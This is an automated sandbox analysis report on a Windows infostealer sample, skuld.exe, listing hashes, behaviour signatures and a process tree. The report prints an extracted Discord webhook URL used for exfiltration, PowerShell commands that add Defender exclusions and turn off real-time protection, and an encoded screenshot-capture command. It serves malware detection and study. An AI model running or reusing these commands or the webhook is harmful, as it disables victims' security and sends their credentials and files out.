Analysis
-
max time kernel
142s -
max time network
111s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
17-10-2024 02:48
Behavioral task
behavioral1
Sample
skuld.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
skuld.exe
Resource
win10v2004-20241007-en
General
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Target
skuld.exe
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Size
9.8MB
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MD5
723849fc46caf8f8dbf447ac050b8c31
-
SHA1
fc29e9028c005f3bc71e31b71f1aedd427ac5b7b
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SHA256
ec2194ba8928a1ccf8bf098d23e25ff971b1e48db67bcf7417119aee667c93cc
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SHA512
229435357b7f4d90756a457cfe2d21c8a2d819723745a2fd0d0f120a6560832e92706814cb8eaeb615bbe13cb8b6cf6446f2309e3ac63f517627d6b5f1a3f2cf
-
SSDEEP
98304:Zrfdlz4MwXCwWmLHfM1EOrZcs5EwscBJZrZ6eFmBQbQcR:Zr34MwRE1EOrqsaMhFmBQp
Malware Config
Extracted
skuld
https://discord.com/api/webhooks/1296303576926392341/Tps4IgItsbgFfWRvv3V4xHZLBkpTksuf0TRo-aCAjDLIRCDca1thaJLZfnJ5idvleHuN
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid process 1120 powershell.exe 2484 powershell.exe -
Drops file in Drivers directory 3 IoCs
Processes:
attrib.exeskuld.exeattrib.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts skuld.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
skuld.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe" skuld.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 14 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes:
description flow ioc HTTP User-Agent header 15 Go-http-client/1.1 -
Processes:
skuld.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 skuld.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 skuld.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 skuld.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
skuld.exepowershell.exepowershell.exepowershell.exepid process 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1120 powershell.exe 1772 skuld.exe 1772 skuld.exe 1120 powershell.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 2484 powershell.exe 1772 skuld.exe 1772 skuld.exe 2484 powershell.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 4156 powershell.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 4156 powershell.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe 1772 skuld.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
skuld.exewmic.exepowershell.exepowershell.exewmic.exedescription pid process Token: SeDebugPrivilege 1772 skuld.exe Token: SeIncreaseQuotaPrivilege 4192 wmic.exe Token: SeSecurityPrivilege 4192 wmic.exe Token: SeTakeOwnershipPrivilege 4192 wmic.exe Token: SeLoadDriverPrivilege 4192 wmic.exe Token: SeSystemProfilePrivilege 4192 wmic.exe Token: SeSystemtimePrivilege 4192 wmic.exe Token: SeProfSingleProcessPrivilege 4192 wmic.exe Token: SeIncBasePriorityPrivilege 4192 wmic.exe Token: SeCreatePagefilePrivilege 4192 wmic.exe Token: SeBackupPrivilege 4192 wmic.exe Token: SeRestorePrivilege 4192 wmic.exe Token: SeShutdownPrivilege 4192 wmic.exe Token: SeDebugPrivilege 4192 wmic.exe Token: SeSystemEnvironmentPrivilege 4192 wmic.exe Token: SeRemoteShutdownPrivilege 4192 wmic.exe Token: SeUndockPrivilege 4192 wmic.exe Token: SeManageVolumePrivilege 4192 wmic.exe Token: 33 4192 wmic.exe Token: 34 4192 wmic.exe Token: 35 4192 wmic.exe Token: 36 4192 wmic.exe Token: SeDebugPrivilege 1120 powershell.exe Token: SeIncreaseQuotaPrivilege 4192 wmic.exe Token: SeSecurityPrivilege 4192 wmic.exe Token: SeTakeOwnershipPrivilege 4192 wmic.exe Token: SeLoadDriverPrivilege 4192 wmic.exe Token: SeSystemProfilePrivilege 4192 wmic.exe Token: SeSystemtimePrivilege 4192 wmic.exe Token: SeProfSingleProcessPrivilege 4192 wmic.exe Token: SeIncBasePriorityPrivilege 4192 wmic.exe Token: SeCreatePagefilePrivilege 4192 wmic.exe Token: SeBackupPrivilege 4192 wmic.exe Token: SeRestorePrivilege 4192 wmic.exe Token: SeShutdownPrivilege 4192 wmic.exe Token: SeDebugPrivilege 4192 wmic.exe Token: SeSystemEnvironmentPrivilege 4192 wmic.exe Token: SeRemoteShutdownPrivilege 4192 wmic.exe Token: SeUndockPrivilege 4192 wmic.exe Token: SeManageVolumePrivilege 4192 wmic.exe Token: 33 4192 wmic.exe Token: 34 4192 wmic.exe Token: 35 4192 wmic.exe Token: 36 4192 wmic.exe Token: SeDebugPrivilege 2484 powershell.exe Token: SeIncreaseQuotaPrivilege 3068 wmic.exe Token: SeSecurityPrivilege 3068 wmic.exe Token: SeTakeOwnershipPrivilege 3068 wmic.exe Token: SeLoadDriverPrivilege 3068 wmic.exe Token: SeSystemProfilePrivilege 3068 wmic.exe Token: SeSystemtimePrivilege 3068 wmic.exe Token: SeProfSingleProcessPrivilege 3068 wmic.exe Token: SeIncBasePriorityPrivilege 3068 wmic.exe Token: SeCreatePagefilePrivilege 3068 wmic.exe Token: SeBackupPrivilege 3068 wmic.exe Token: SeRestorePrivilege 3068 wmic.exe Token: SeShutdownPrivilege 3068 wmic.exe Token: SeDebugPrivilege 3068 wmic.exe Token: SeSystemEnvironmentPrivilege 3068 wmic.exe Token: SeRemoteShutdownPrivilege 3068 wmic.exe Token: SeUndockPrivilege 3068 wmic.exe Token: SeManageVolumePrivilege 3068 wmic.exe Token: 33 3068 wmic.exe Token: 34 3068 wmic.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
skuld.exepowershell.exedescription pid process target process PID 1772 wrote to memory of 3340 1772 skuld.exe attrib.exe PID 1772 wrote to memory of 3340 1772 skuld.exe attrib.exe PID 1772 wrote to memory of 1120 1772 skuld.exe powershell.exe PID 1772 wrote to memory of 1120 1772 skuld.exe powershell.exe PID 1772 wrote to memory of 2080 1772 skuld.exe attrib.exe PID 1772 wrote to memory of 2080 1772 skuld.exe attrib.exe PID 1772 wrote to memory of 4192 1772 skuld.exe wmic.exe PID 1772 wrote to memory of 4192 1772 skuld.exe wmic.exe PID 1772 wrote to memory of 2484 1772 skuld.exe powershell.exe PID 1772 wrote to memory of 2484 1772 skuld.exe powershell.exe PID 1772 wrote to memory of 3068 1772 skuld.exe wmic.exe PID 1772 wrote to memory of 3068 1772 skuld.exe wmic.exe PID 1772 wrote to memory of 4156 1772 skuld.exe powershell.exe PID 1772 wrote to memory of 4156 1772 skuld.exe powershell.exe PID 1772 wrote to memory of 4428 1772 skuld.exe attrib.exe PID 1772 wrote to memory of 4428 1772 skuld.exe attrib.exe PID 1772 wrote to memory of 5028 1772 skuld.exe attrib.exe PID 1772 wrote to memory of 5028 1772 skuld.exe attrib.exe PID 4156 wrote to memory of 2224 4156 powershell.exe csc.exe PID 4156 wrote to memory of 2224 4156 powershell.exe csc.exe -
Views/modifies file attributes 1 TTPs 4 IoCs
Processes:
attrib.exeattrib.exeattrib.exeattrib.exepid process 4428 attrib.exe 5028 attrib.exe 3340 attrib.exe 2080 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\skuld.exe"C:\Users\Admin\AppData\Local\Temp\skuld.exe"1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1772 -
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe2⤵
- Views/modifies file attributes
PID:3340
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1120
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C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe2⤵
- Views/modifies file attributes
PID:2080
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C:\Windows\System32\Wbem\wmic.exewmic cpu get Name2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4192
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2484
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C:\Windows\System32\Wbem\wmic.exewmic os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3068
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAg